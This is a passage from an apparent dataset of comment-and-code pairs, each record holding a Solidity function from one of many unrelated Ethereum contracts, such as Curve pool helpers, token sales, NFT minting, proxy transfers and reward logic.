token addresses\r\n @param swapAddress Curve swap address for the pool\r\n @return poolTokens returns 4 element array containing the \r\n * addresses of the pool tokens (0 address if pool contains < 4 tokens)\r\n */", "function_code": "function getPoolTokens(address swapAddress)\r\n public\r\n view\r\n returns (address[4] memory poolTokens)\r\n {\r\n uint256 isCurveFactoryMetaPool = _isCurveFactoryMetaPool(swapAddress);\r\n if (isCurveFactoryMetaPool == 1) {\r\n address[8] memory poolUnderlyingCoins =\r\n CurveRegistry.get_coins(swapAddress);\r\n for (uint256 i = 0; i < 2; i++) {\r\n poolTokens[i] = poolUnderlyingCoins[i];\r\n }\r\n } else if (isCurveFactoryMetaPool == 2) {\r\n address[2] memory poolUnderlyingCoins =\r\n FactoryRegistry.get_coins(swapAddress);\r\n for (uint256 i = 0; i < 2; i++) {\r\n poolTokens[i] = poolUnderlyingCoins[i];\r\n }\r\n } else if (isCryptoPool(swapAddress)) {\r\n address[8] memory poolUnderlyingCoins =\r\n CurveCryptoRegistry.get_coins(swapAddress);\r\n\r\n for (uint256 i = 0; i < 4; i++) {\r\n poolTokens[i] = poolUnderlyingCoins[i];\r\n }\r\n } else {\r\n address[8] memory poolUnderlyingCoins;\r\n if (isBtcPool(swapAddress)) {\r\n poolUnderlyingCoins = CurveRegistry.get_coins(swapAddress);\r\n } else {\r\n poolUnderlyingCoins = CurveRegistry.get_underlying_coins(\r\n swapAddress\r\n );\r\n }\r\n for (uint256 i = 0; i < 4; i++) {\r\n poolTokens[i] = poolUnderlyingCoins[i];\r\n }\r\n }\r\n }", "version": "0.8.7"} {"comment": "/**\r\n @notice Checks if the Curve pool contains WBTC\r\n @param swapAddress Curve swap address for the pool\r\n @return true if the pool contains WBTC, false otherwise\r\n */", "function_code": "function isBtcPool(address swapAddress) public view returns (bool) {\r\n address[8] memory poolTokens = CurveRegistry.get_coins(swapAddress);\r\n for (uint256 i = 0; i < 4; i++) {\r\n if (poolTokens[i] == wbtcToken || poolTokens[i] == sbtcCrvToken)\r\n return true;\r\n }\r\n return false;\r\n }", "version": "0.8.7"} {"comment": "/**\r\n @notice Check if the pool contains the toToken\r\n @param swapAddress Curve swap address for the pool\r\n @param toToken contract address of the token\r\n @return true if the pool contains the token, false otherwise\r\n @return index of the token in the pool, 0 if pool does not contain the token\r\n */", "function_code": "function isUnderlyingToken(address swapAddress, address toToken)\r\n external\r\n view\r\n returns (bool, uint256)\r\n {\r\n address[4] memory poolTokens = getPoolTokens(swapAddress);\r\n for (uint256 i = 0; i < 4; i++) {\r\n if (poolTokens[i] == address(0)) return (false, 0);\r\n if (poolTokens[i] == toToken) return (true, i);\r\n }\r\n return (false, 0);\r\n }", "version": "0.8.7"} {"comment": "/**\r\n @notice Add new pools which use the _use_underlying bool\r\n @param swapAddresses Curve swap addresses for the pool\r\n @param addUnderlying True if underlying tokens are always added\r\n */", "function_code": "function updateShouldAddUnderlying(\r\n address[] calldata swapAddresses,\r\n bool[] calldata addUnderlying\r\n ) external onlyOwner {\r\n require(\r\n swapAddresses.length == addUnderlying.length,\r\n \"Mismatched arrays\"\r\n );\r\n for (uint256 i = 0; i < swapAddresses.length; i++) {\r\n shouldAddUnderlying[swapAddresses[i]] = addUnderlying[i];\r\n }\r\n }", "version": "0.8.7"} {"comment": "/**\r\n @notice Add new pools which use uamounts for add_liquidity\r\n @param swapAddresses Curve swap addresses to map from\r\n @param _depositAddresses Curve deposit addresses to map to\r\n */", "function_code": "function updateDepositAddresses(\r\n address[] calldata swapAddresses,\r\n address[] calldata _depositAddresses\r\n ) external onlyOwner {\r\n require(\r\n swapAddresses.length == _depositAddresses.length,\r\n \"Mismatched arrays\"\r\n );\r\n for (uint256 i = 0; i < swapAddresses.length; i++) {\r\n depositAddresses[swapAddresses[i]] = _depositAddresses[i];\r\n }\r\n }", "version": "0.8.7"} {"comment": "/**\r\n @notice createNewOracle allows the owner of this contract to deploy deploy two new asset oracle contracts\r\n when a new LP token is whitelisted. this contract will link the address of an LP token contract to\r\n two seperate oracles that are designed to look up the price of their respective assets in USDC. This\r\n will allow us to calculate the price of one at LP token token from the prices of their underlying assets\r\n \r\n @param _tokenA is the address of the first token in an Liquidity pair\r\n @param _tokenB is the address of the second token in a liquidity pair\r\n @param _lpToken is the address of the token that this oracle will provide a price feed for\r\n **/", "function_code": "function createNewOracles(\r\n address _tokenA,\r\n address _tokenB,\r\n address _lpToken\r\n ) public onlyOwner {\r\n (address token0, address token1) = sortTokens(_tokenA, _tokenB);\r\n\r\n address oracle1 = tokenToUSDC[token0];\r\n if (oracle1 == address(0)) {\r\n oracle1 = address(\r\n new UniswapLPOracleInstance(factory, token0, usdc_add)\r\n );\r\n tokenToUSDC[token0] = oracle1;\r\n }\r\n\r\n address oracle2 = tokenToUSDC[token1];\r\n if (oracle2 == address(0)) {\r\n oracle2 = address(\r\n new UniswapLPOracleInstance(factory, token1, usdc_add)\r\n );\r\n tokenToUSDC[token1] = oracle2;\r\n }\r\n\r\n LPAssetTracker[_lpToken] = [oracle1, oracle2];\r\n instanceTracker[oracle1] = token0;\r\n instanceTracker[oracle2] = token1;\r\n }", "version": "0.6.6"} {"comment": "/**\r\n @notice getUnderlyingPrice allows for the price calculation and retrieval of a LP tokens price\r\n @param _lpToken is the address of the LP token whos asset price is being retrieved\r\n @return returns the price of one LP token\r\n **/", "function_code": "function getUnderlyingPrice(address _lpToken) public returns (uint256) {\r\n address[] memory oracleAdds = LPAssetTracker[_lpToken];\r\n //retreives the oracle contract addresses for each asset that makes up a LP\r\n UniswapLPOracleInstance oracle1 = UniswapLPOracleInstance(\r\n oracleAdds[0]\r\n );\r\n UniswapLPOracleInstance oracle2 = UniswapLPOracleInstance(\r\n oracleAdds[1]\r\n );\r\n\r\n (uint256 reserveA, uint256 reserveB) = UniswapV2Library.getReserves(\r\n factory,\r\n instanceTracker[oracleAdds[0]],\r\n instanceTracker[oracleAdds[1]]\r\n );\r\n\r\n uint256 priceAsset1 = oracle1.consult(\r\n instanceTracker[oracleAdds[0]],\r\n reserveA\r\n );\r\n uint256 priceAsset2 = oracle2.consult(\r\n instanceTracker[oracleAdds[1]],\r\n reserveB\r\n );\r\n\r\n // Get the total supply of the pool\r\n IERC20 lpToken = IERC20(_lpToken);\r\n uint256 totalSupplyOfLP = lpToken.totalSupply();\r\n\r\n return\r\n _calculatePriceOfLP(\r\n totalSupplyOfLP,\r\n priceAsset1,\r\n priceAsset2,\r\n lpToken.decimals()\r\n );\r\n //return USDC price of the pool divided by totalSupply of its LPs to get price\r\n //of one LP\r\n }", "version": "0.6.6"} {"comment": "/**\r\n //@notice Withdraw stuck tokens\r\n */", "function_code": "function withdrawTokens(address[] calldata tokens) external onlyOwner {\r\n for (uint256 i = 0; i < tokens.length; i++) {\r\n uint256 qty;\r\n\r\n if (tokens[i] == ETHAddress) {\r\n qty = address(this).balance;\r\n Address.sendValue(payable(owner()), qty);\r\n } else {\r\n qty = IERC20(tokens[i]).balanceOf(address(this));\r\n IERC20(tokens[i]).safeTransfer(owner(), qty);\r\n }\r\n }\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Creates a crop with an optional payable value\r\n * @param _playerAddress referral address.\r\n */", "function_code": "function createCrop(address _playerAddress, bool _selfBuy) public payable returns (address) {\r\n // we can't already have a crop\r\n require(crops[msg.sender] == address(0));\r\n \r\n // create a new crop for us\r\n address cropAddress = new Crop(msg.sender);\r\n // map the creator to the crop address\r\n crops[msg.sender] = cropAddress;\r\n emit CropCreated(msg.sender, cropAddress);\r\n\r\n // if we sent some value with the transaction, buy some eWLTH for the crop.\r\n if (msg.value != 0){\r\n if (_selfBuy){\r\n Crop(cropAddress).buy.value(msg.value)(cropAddress);\r\n } else {\r\n Crop(cropAddress).buy.value(msg.value)(_playerAddress);\r\n }\r\n }\r\n \r\n return cropAddress;\r\n }", "version": "0.4.21"} {"comment": "/// @notice Detects if a transfer will be reverted and if so returns an appropriate reference code\n/// @param from Sending address\n/// @param to Receiving address\n/// @param value Amount of tokens being transferred\n/// @return Code by which to reference message for rejection reason", "function_code": "function detectTransferRestriction(address _token, address from, address to, uint256 value) external view returns(uint8) {\r\n RestrictedToken token = RestrictedToken(_token);\r\n if (token.isPaused()) return ALL_TRANSFERS_PAUSED;\r\n if (to == address(0)) return DO_NOT_SEND_TO_EMPTY_ADDRESS;\r\n if (to == address(token)) return DO_NOT_SEND_TO_TOKEN_CONTRACT;\r\n\r\n if (token.balanceOf(to).add(value) > token.getMaxBalance(to)) return GREATER_THAN_RECIPIENT_MAX_BALANCE;\r\n if (now < token.getLockUntil(from)) return SENDER_TOKENS_TIME_LOCKED;\r\n if (token.getFrozenStatus(from)) return SENDER_ADDRESS_FROZEN;\r\n\r\n uint256 lockedUntil = token.getAllowTransferTime(from, to);\r\n if (0 == lockedUntil) return TRANSFER_GROUP_NOT_APPROVED;\r\n if (now < lockedUntil) return TRANSFER_GROUP_NOT_ALLOWED_UNTIL_LATER;\r\n\r\n return SUCCESS;\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @dev Enables anyone with a masternode to earn referral fees on eWLTH reinvestments.\r\n * @param _playerAddress referral address.\r\n */", "function_code": "function reinvest(address _playerAddress) external {\r\n // reinvest must be enabled\r\n require(disabled == false);\r\n \r\n Hourglass eWLTH = Hourglass(eWLTHAddress);\r\n if (eWLTH.dividendsOf(address(this), true) > 0){\r\n eWLTH.withdraw();\r\n uint256 bal = address(this).balance;\r\n // reinvest with a referral fee for sender\r\n eWLTH.buy.value(bal)(_playerAddress);\r\n }\r\n }", "version": "0.4.21"} {"comment": "// low level token purchase function\n// Request Modification : change to not mint but transfer from this contract", "function_code": "function buyTokens() \r\n public \r\n payable \r\n {\r\n require(validPurchase());\r\n\r\n uint256 weiAmount = msg.value;\r\n\r\n // calculate token amount to be created\r\n uint256 tokens = weiAmount.mul(rate);\r\n tokens += getBonus(tokens);\r\n\r\n // update state\r\n weiRaised = weiRaised.add(weiAmount);\r\n\r\n require(token.transfer(msg.sender, tokens)); // Request Modification : changed here - tranfer instead of mintable\r\n TokenPurchase(msg.sender, weiAmount, tokens);\r\n\r\n forwardFunds();\r\n\r\n postBuyTokens();\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Get the bonus based on the buy time (override getBonus of StandardCrowdsale)\r\n * @return the number of bonus token\r\n */", "function_code": "function getBonus(uint256 _tokens) constant returns (uint256 bonus) {\r\n require(_tokens != 0);\r\n if (startTime <= now && now < startTime + 1 days) {\r\n return _tokens.div(2);\r\n } else if (startTime + 1 days <= now && now < startTime + 2 days ) {\r\n return _tokens.div(4);\r\n } else if (startTime + 2 days <= now && now < startTime + 3 days ) {\r\n return _tokens.div(10);\r\n }\r\n\r\n return 0;\r\n }", "version": "0.4.18"} {"comment": "// function mint_free_bluechip() external {\n// _canMint(1);\n// require(\n// mintedFreeBlueAddresses[msg.sender] == false,\n// \"Already Used Offer\"\n// );\n// _mint(msg.sender);\n// mintedFreeBlueAddresses[msg.sender] = true;\n// }", "function_code": "function buy(uint256 amount) external payable {\r\n _canMint(amount);\r\n require(\r\n msg.value >= amount * 80000000000000000, //amount * 0.08 eth\r\n \"Not Enough Ether Sent \"\r\n );\r\n for (uint256 i = 0; i < amount; i++) {\r\n mint(msg.sender);\r\n }\r\n payable(owner()).transfer(msg.value);\r\n }", "version": "0.8.0"} {"comment": "/**\n * Calculate price for token(s).\n * Price is increased by 0.0003 ETH for every next after the first presaleSupply(1,000) tokens.\n */", "function_code": "function calculatePrice(uint qty) internal view returns (uint) {\n uint totalPrice = 0;\n for (uint i = 1; i <= qty; i++) {\n uint tokenId = nonce + i;\n if (tokenId <= presaleSupply) {\n totalPrice += presalePrice;\n } else {\n totalPrice += presalePrice + (tokenId - presaleSupply) * increasePrice;\n }\n }\n return totalPrice;\n }", "version": "0.8.10"} {"comment": "/**\n * @dev Moves `amount` tokens from `sender` to `recipient` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */", "function_code": "function transferFrom(\n address _from,\n address _to,\n uint256 _value\n ) public returns (bool success) {\n require(_value <= balanceOf[_from]);\n require(_value <= allowance[_from][msg.sender]);\n balanceOf[_from] -= _value;\n balanceOf[_to] += _value;\n allowance[_from][msg.sender] -= _value;\n emit Transfer(_from, _to, _value);\n return true;\n }", "version": "0.8.4"} {"comment": "/// @notice Swap a token for ETH\n/// @param token - address of the token to swap\n/// @param amount - amount of the token to swap\n/// @dev Swaps are executed via Sushi router, will revert if pair\n/// does not exist. Tokens must have a WETH pair.", "function_code": "function _swapToETH(address token, uint256 amount) internal onlyOwner {\n address[] memory path = new address[](2);\n path[0] = token;\n path[1] = WETH;\n\n IERC20(token).safeApprove(SUSHI_ROUTER, 0);\n IERC20(token).safeApprove(SUSHI_ROUTER, amount);\n\n router.swapExactTokensForETH(\n amount,\n 0,\n path,\n address(this),\n block.timestamp + 60\n );\n }", "version": "0.8.9"} {"comment": "/**\n * Allocates funds to members.\n */", "function_code": "function fundAllocation(uint256 amount) public payable onlyOwner {\n require(payable(m0).send(amount * 75 / 100 * 85 / 100));\n require(payable(m1).send(amount * 75 / 100 * 15 / 100));\n require(payable(m2).send(amount * 25 / 100));\n }", "version": "0.8.10"} {"comment": "/**\n * Mint to presale allowlist wallet only with standard presale price.\n */", "function_code": "function allowlistPresale(uint qty) external payable {\n require(allowlistPresaleActive, \"TRANSACTION: presale is not active\");\n uint256 qtyAllowed = presaleWallets[msg.sender];\n require(qty <= qtyAllowed && qty >= 1, \"TRANSACTION: you can't mint on presale\");\n require(qty + nonce <= presaleSupply, \"SUPPLY: value exceeds presale supply\");\n require(msg.value >= qty * presalePrice, \"PAYMENT: invalid value\");\n presaleWallets[msg.sender] = qtyAllowed - qty;\n doMint(qty);\n }", "version": "0.8.10"} {"comment": "/**\n * Presale mint with standard presale price.\n */", "function_code": "function presale(uint qty) external payable {\n require(presaleActive, \"TRANSACTION: presale is not active\");\n require(qty <= maxTx && qty >= 1, \"TRANSACTION: qty of mints not allowed\");\n require(qty + nonce <= presaleSupply, \"SUPPLY: value exceeds presale supply\");\n require(msg.value >= qty * presalePrice, \"PAYMENT: invalid value\");\n doMint(qty);\n }", "version": "0.8.10"} {"comment": "/**\n * Mint tokens, maxTx (10) maximum at once.\n * Price is increased by 0.0003 ETH for every next after the first presaleSupply(1,000) tokens.\n * See calculatePrice for more details.\n */", "function_code": "function mint(uint qty) external payable {\n require(saleActive, \"TRANSACTION: sale is not active\");\n require(balanceOf(_msgSender()) > 0, \"TRANSACTION: only holder\");\n require(qty <= maxTx && qty >= 1, \"TRANSACTION: qty of mints not allowed\");\n require(qty + nonce <= totalSupply, \"SUPPLY: value exceeds totalSupply\");\n uint totalPrice = calculatePrice(qty);\n require(msg.value >= totalPrice, \"PAYMENT: invalid value\");\n doMint(qty);\n }", "version": "0.8.10"} {"comment": "// UNSAFE: No slippage protection, should not be called directly", "function_code": "function _withdraw(address token, uint amount) internal {\r\n \r\n uint _factor = factor(); // call once to minimize sub calls in getCredit and getUserCredit\r\n \r\n uint _credit = _getCredit(msg.sender, token, _factor);\r\n uint _token = balances[msg.sender][token];\r\n \r\n if (_credit < amount) {\r\n amount = _credit;\r\n }\r\n \r\n _burn(msg.sender, amount, _factor);\r\n credit[msg.sender][token] = _getCredit(msg.sender, token, _factor).sub(amount);\r\n userCredit[msg.sender] = _getUserCredit(msg.sender, _factor).sub(amount);\r\n \r\n // Calculate % of collateral to release\r\n _token = _token.mul(amount).div(_credit);\r\n \r\n IERC20(token).safeTransfer(msg.sender, _token);\r\n balances[msg.sender][token] = balances[msg.sender][token].sub(_token);\r\n }", "version": "0.5.17"} {"comment": "// ------------------------------------------------------------------------\n// Crowdsale \n// ------------------------------------------------------------------------", "function_code": "function () public payable {\r\n //crowd sale is open/allowed\r\n require(crowdsaleEnabled); \r\n \r\n uint ethValue = msg.value;\r\n \r\n //get token equivalent\r\n uint tokens = ethValue.mul(ethPerToken);\r\n\r\n \r\n //append bonus if we have active bonus promo\r\n //and if ETH sent is more than then minimum required to avail bonus\r\n if(bonusPct > 0 && ethValue >= bonusMinEth){\r\n //compute bonus value based on percentage\r\n uint bonus = tokens.div(100).mul(bonusPct);\r\n \r\n //emit bonus event\r\n emit Bonus(msg.sender, bonus);\r\n \r\n //add bonus to final amount of token to be \r\n //transferred to sender/purchaser\r\n tokens = tokens.add(bonus);\r\n }\r\n \r\n \r\n //validate token amount \r\n //assert(tokens > 0);\r\n //assert(tokens <= balances[owner]); \r\n \r\n\r\n //transfer from owner to sender/purchaser\r\n balances[owner] = balances[owner].sub(tokens);\r\n balances[msg.sender] = balances[msg.sender].add(tokens);\r\n \r\n //emit transfer event\r\n emit Transfer(owner, msg.sender, tokens);\r\n }", "version": "0.4.24"} {"comment": "/// @dev Removes authorizion of an address.\n/// @param target Address to remove authorization from.", "function_code": "function removeAuthorizedAddress(address target)\r\n public\r\n onlyOwner\r\n targetAuthorized(target)\r\n {\r\n delete authorized[target];\r\n for (uint i = 0; i < authorities.length; i++) {\r\n if (authorities[i] == target) {\r\n authorities[i] = authorities[authorities.length - 1];\r\n authorities.length -= 1;\r\n break;\r\n }\r\n }\r\n emit LogAuthorizedAddressRemoved(target, msg.sender);\r\n }", "version": "0.5.7"} {"comment": "/// @notice Performs the requested set of swaps\n/// @param swaps The struct that defines the collection of swaps to perform", "function_code": "function performSwapCollection(\r\n SwapCollection memory swaps\r\n )\r\n public\r\n payable\r\n whenNotPaused\r\n notExpired(swaps)\r\n validSignature(swaps)\r\n {\r\n TokenBalance[20] memory balances;\r\n balances[0] = TokenBalance(address(Utils.eth_address()), msg.value);\r\n //this.log(\"Created eth balance\", balances[0].balance, 0x0);\r\n for(uint256 swapIndex = 0; swapIndex < swaps.swaps.length; swapIndex++){\r\n //this.log(\"About to perform swap\", swapIndex, swaps.id);\r\n performSwap(swaps.id, swaps.swaps[swapIndex], balances, swaps.partnerContract);\r\n }\r\n emit LogSwapCollection(swaps.id, swaps.partnerContract, msg.sender);\r\n transferAllTokensToUser(balances);\r\n }", "version": "0.5.7"} {"comment": "/// @notice payable fallback to allow handler or exchange contracts to return ether\n/// @dev only accounts containing code (ie. contracts) can send ether to contract", "function_code": "function() external payable whenNotPaused {\r\n // Check in here that the sender is a contract! (to stop accidents)\r\n uint256 size;\r\n address sender = msg.sender;\r\n assembly {\r\n size := extcodesize(sender)\r\n }\r\n if (size == 0) {\r\n revert(\"EOA cannot send ether to primary fallback\");\r\n }\r\n }", "version": "0.5.7"} {"comment": "/**\n @notice Move underlying to a lending protocol\n @param _underlying Address of the underlying token\n @param _amount Amount of underlying to lend\n @param _protocol Bytes32 protocol key to lend to\n */", "function_code": "function lend(address _underlying, uint256 _amount, bytes32 _protocol) public onlyOwner nonReentrant {\n // _amount or actual balance, whatever is less\n uint256 amount = _amount.min(IERC20(_underlying).balanceOf(address(basket)));\n\n //lend token\n (\n address[] memory _targets,\n bytes[] memory _data\n ) = lendingRegistry.getLendTXData(_underlying, amount, _protocol);\n\n basket.callNoValue(_targets, _data);\n\n // if needed remove underlying from basket\n removeToken(_underlying);\n\n // add wrapped token\n addToken(lendingRegistry.underlyingToProtocolWrapped(_underlying, _protocol));\n\n emit Lend(_underlying, _amount, _protocol);\n }", "version": "0.7.1"} {"comment": "/**\n @notice Unlend wrapped token from its lending protocol\n @param _wrapped Address of the wrapped token\n @param _amount Amount of the wrapped token to unlend\n */", "function_code": "function unlend(address _wrapped, uint256 _amount) public onlyOwner nonReentrant {\n // unlend token\n // _amount or actual balance, whatever is less\n uint256 amount = _amount.min(IERC20(_wrapped).balanceOf(address(basket)));\n\n //Unlend token\n (\n address[] memory _targets,\n bytes[] memory _data\n ) = lendingRegistry.getUnlendTXData(_wrapped, amount);\n basket.callNoValue(_targets, _data);\n\n // if needed add underlying\n addToken(lendingRegistry.wrappedToUnderlying(_wrapped));\n\n // if needed remove wrapped\n removeToken(_wrapped);\n\n emit UnLend(_wrapped, _amount);\n }", "version": "0.7.1"} {"comment": "/**\r\n * @dev Handles the off-chain whitelisting.\r\n * @param _addr Address of the sender.\r\n * @param _sig signed message provided by the sender.\r\n */", "function_code": "function handleOffchainWhitelisted(address _addr, bytes _sig) external onlyOwnerOrCrowdsale returns (bool) {\r\n bool valid;\r\n // no need for consuming gas when the address is already whitelisted \r\n if (whitelist[_addr]) {\r\n valid = true;\r\n } else {\r\n valid = isValidSignature(_addr, _sig);\r\n if (valid) {\r\n // no need for consuming gas again if the address calls the contract again. \r\n addAddressToWhitelist(_addr);\r\n }\r\n }\r\n return valid;\r\n }", "version": "0.4.24"} {"comment": "// ReserveQuby into Owner wallet for giveaways/those who have helped us along the way ", "function_code": "function reserveQuby(uint256 numQuby) public onlyOwner {\r\n uint currentSupply = totalSupply();\r\n require(totalSupply().add(numQuby) <= 30, \"Exceeded giveaway supply\");\r\n require(hasSaleStarted == false, \"Sale has already started\");\r\n uint256 index;\r\n for (index = 0; index < numQuby; index++) {\r\n _safeMint(owner(), currentSupply + index);\r\n }\r\n }", "version": "0.7.0"} {"comment": "// for erc20 tokens", "function_code": "function depositToken(address _token, uint _amount) public whenNotPaused {\r\n //remember to call Token(address).approve(this, amount) or this contract will not be able to do the transfer on your behalf.\r\n require(_token != address(0));\r\n\r\n ERC20(_token).transferFrom(msg.sender, this, _amount);\r\n tokens[_token][msg.sender] = SafeMath.add(tokens[_token][msg.sender], _amount);\r\n\r\n emit Deposit(_token, msg.sender, _amount, tokens[_token][msg.sender]);\r\n }", "version": "0.4.25"} {"comment": "/*\r\n * Proxy transfer MESH. When some users of the ethereum account has no ether,\r\n * he or she can authorize the agent for broadcast transactions, and agents may charge agency fees\r\n * @param _from\r\n * @param _to\r\n * @param _value\r\n * @param feeMesh\r\n * @param _v\r\n * @param _r\r\n * @param _s\r\n */", "function_code": "function transferProxy(address _from, address _to, uint256 _value, uint256 _feeMesh,\r\n uint8 _v,bytes32 _r, bytes32 _s) public transferAllowed(_from) returns (bool){\r\n\r\n if(balances[_from] < _feeMesh + _value \r\n || _feeMesh > _feeMesh + _value) revert();\r\n\r\n uint256 nonce = nonces[_from];\r\n bytes32 h = keccak256(_from,_to,_value,_feeMesh,nonce,address(this));\r\n if(_from != ecrecover(h,_v,_r,_s)) revert();\r\n\r\n if(balances[_to] + _value < balances[_to]\r\n || balances[msg.sender] + _feeMesh < balances[msg.sender]) revert();\r\n balances[_to] += _value;\r\n emit Transfer(_from, _to, _value);\r\n\r\n balances[msg.sender] += _feeMesh;\r\n emit Transfer(_from, msg.sender, _feeMesh);\r\n\r\n balances[_from] -= _value + _feeMesh;\r\n nonces[_from] = nonce + 1;\r\n return true;\r\n }", "version": "0.4.23"} {"comment": "/*\r\n * Proxy approve that some one can authorize the agent for broadcast transaction\r\n * which call approve method, and agents may charge agency fees\r\n * @param _from The address which should tranfer MESH to others\r\n * @param _spender The spender who allowed by _from\r\n * @param _value The value that should be tranfered.\r\n * @param _v\r\n * @param _r\r\n * @param _s\r\n */", "function_code": "function approveProxy(address _from, address _spender, uint256 _value,\r\n uint8 _v,bytes32 _r, bytes32 _s) public returns (bool success) {\r\n\r\n uint256 nonce = nonces[_from];\r\n bytes32 hash = keccak256(_from,_spender,_value,nonce,address(this));\r\n if(_from != ecrecover(hash,_v,_r,_s)) revert();\r\n allowed[_from][_spender] = _value;\r\n emit Approval(_from, _spender, _value);\r\n nonces[_from] = nonce + 1;\r\n return true;\r\n }", "version": "0.4.23"} {"comment": "// standard token precision. override to customize", "function_code": "function Token(address[] initialWallets,\r\n uint256[] initialBalances) public {\r\n require(initialBalances.length == initialWallets.length);\r\n for (uint256 i = 0; i < initialWallets.length; i++) {\r\n totalSupply_ = totalSupply_.add(initialBalances[i]);\r\n balances[initialWallets[i]] = balances[initialWallets[i]].add(initialBalances[i]);\r\n emit Transfer(address(0), initialWallets[i], initialBalances[i]);\r\n }\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * Function for the frontend to fetch all data in one call \r\n */", "function_code": "function getData()\r\n public \r\n view \r\n returns (\r\n uint256,\r\n uint256,\r\n uint256,\r\n uint256,\r\n uint256,\r\n uint256,\r\n uint256,\r\n uint256\r\n )\r\n {\r\n return (\r\n // [0] - Total SWAP in contract \r\n totalSwapBalance(),\r\n \r\n // [1] - Total supply of S3D\r\n totalSupply(),\r\n \r\n // [2] - S3D balance of msg.sender \r\n balanceOf(msg.sender),\r\n \r\n // [3] - Referral balance of msg.sender\r\n getReferralBalance(msg.sender),\r\n \r\n // [4] - Dividends of msg.sender \r\n dividendsOf(msg.sender),\r\n \r\n // [5] - Sell price of 1 token \r\n sellPrice(),\r\n \r\n // [6] - Buy price of 1 token \r\n buyPrice(),\r\n \r\n // [7] - Balance of SWAP token in user's wallet (free balance that isn't staked)\r\n swapBalanceOf(msg.sender)\r\n );\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Function to batch send tokens\r\n * @param _receivers The addresses that will receive the tokens.\r\n * @param _value The amount of tokens to send.\r\n */", "function_code": "function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {\r\n require(!frozenAccount[msg.sender]);\r\n uint cnt = _receivers.length;\r\n uint256 amount = uint256(cnt).mul(_value);\r\n require(cnt > 0 && cnt <= 500);\r\n require(_value > 0 && balances[msg.sender] >= amount);\r\n \r\n balances[msg.sender] = balances[msg.sender].sub(amount);\r\n for (uint i = 0; i < cnt; i++) {\r\n require (_receivers[i] != 0x0);\r\n balances[_receivers[i]] = balances[_receivers[i]].add(_value);\r\n emit Transfer(msg.sender, _receivers[i], _value);\r\n }\r\n return true;\r\n }", "version": "0.4.23"} {"comment": "//Reward minters - Add virtual tokens", "function_code": "function rewardOnMint(address _user, uint256 _amount) external {\r\n\t\trequire(msg.sender == address(wofContract), \"Can't call this\");\r\n uint256 tokenId = wofContract.mintedcount();\r\n uint256 time = block.timestamp;\r\n if(tokenId < 2501) {\r\n rewards[_user] = rewards[_user].add(500 ether);\r\n }\r\n else {\r\n rewards[_user] = rewards[_user].add(_amount);\r\n }\r\n lastUpdate[_user] = time;\r\n }", "version": "0.8.0"} {"comment": "//GET BALANCE FOR SINGLE TOKEN", "function_code": "function getClaimable(address _owner) public view returns(uint256){\r\n uint256 time = block.timestamp;\r\n if(lastUpdate[_owner] == 0) {\r\n return 0;\r\n }\r\n else if(time < ENDTIME) {\r\n uint256 pending = wofContract.balanceOG(_owner).mul(BASE_RATE.mul((time.sub(lastUpdate[_owner])))).div(86400);\r\n uint256 total = rewards[_owner].add(pending);\r\n return total;\r\n }\r\n else {\r\n return rewards[_owner];\r\n }\r\n }", "version": "0.8.0"} {"comment": "//Buy tokens from contract", "function_code": "function buyMint(address _to, uint256 _amount) public payable {\r\n require(msg.value >= _amount.mul(buyPrice), 'Send more eth');\r\n require(_saleOpen == true, 'Can not buy at the moment');\r\n uint256 eth = _amount.mul(1 ether);\r\n _mint(_to, eth);\r\n }", "version": "0.8.0"} {"comment": "//BURN THE TOKENS FOR NAMECHANGE", "function_code": "function burn(address _from, uint256 _amount) external {\r\n\t\trequire(msg.sender == address(wofContract) || msg.sender == address(_garageContract));\r\n uint256 valueInEth = _amount/(1 ether);\r\n if(cut) {\r\n uint256 percentage = rate.div(100);\r\n uint256 cuttable = valueInEth.div(percentage);\r\n uint256 burnable = valueInEth.sub(cuttable);\r\n _transfer(_from, cutAddres, cuttable);\r\n _burn(_from, burnable);\r\n }\r\n else {\r\n\t\t _burn(_from, valueInEth);\r\n }\r\n\t}", "version": "0.8.0"} {"comment": "// Pay some onePools. Earn some shares.", "function_code": "function deposit(uint256 _amount) public {\r\n uint256 totalonePool = onePool.balanceOf(address(this));\r\n uint256 totalShares = totalSupply();\r\n if (totalShares == 0 || totalonePool == 0) {\r\n _mint(msg.sender, _amount);\r\n } else {\r\n uint256 what = _amount.mul(totalShares).div(totalonePool);\r\n _mint(msg.sender, what);\r\n }\r\n onePool.transferFrom(msg.sender, address(this), _amount);\r\n }", "version": "0.6.12"} {"comment": "/*******************************************\r\n * Public write\r\n *******************************************/", "function_code": "function requestTopic(string topic) public payable\r\n {\r\n require(bytes(topic).length > 0, \r\n \"Please specify a topic.\");\r\n require(bytes(topic).length <= 500, \r\n \"The topic is too long (max 500 characters).\");\r\n \r\n SupporterList storage supporterList = topicToSupporterList[topic];\r\n \r\n if(supporterList.length == 0)\r\n { // New topic\r\n require(msg.value >= minForNewTopic, \r\n \"Please send at least 'minForNewTopic' to request a new topic.\");\r\n \r\n allTopics.idToTopic[allTopics.length++] = topic;\r\n emit NewTopic(topic, msg.sender, msg.value);\r\n }\r\n else\r\n { // Existing topic\r\n require(msg.value >= minForExistingTopic, \r\n \"Please send at least 'minForExistingTopic' to add support to an existing topic.\");\r\n \r\n emit ContributeToTopic(topic, msg.sender, msg.value);\r\n }\r\n \r\n supporterList.idToSupporter[supporterList.length++] = \r\n Supporter(msg.sender, msg.value);\r\n }", "version": "0.4.24"} {"comment": "/*******************************************\r\n * Owner only write\r\n *******************************************/", "function_code": "function accept(string topic) public onlyOwner\r\n {\r\n SupporterList storage supporterList = topicToSupporterList[topic];\r\n uint256 totalValue = 0;\r\n for(uint i = 0; i < supporterList.length; i++)\r\n {\r\n totalValue += supporterList.idToSupporter[i].value;\r\n }\r\n \r\n _removeTopic(topic);\r\n emit Accept(topic, totalValue);\r\n \r\n owner.transfer(totalValue);\r\n }", "version": "0.4.24"} {"comment": "/*******************************************\r\n * Private helpers\r\n *******************************************/", "function_code": "function _removeTopic(string topic) private\r\n {\r\n delete topicToSupporterList[topic];\r\n bytes32 topicHash = keccak256(abi.encodePacked(topic));\r\n for(uint i = 0; i < 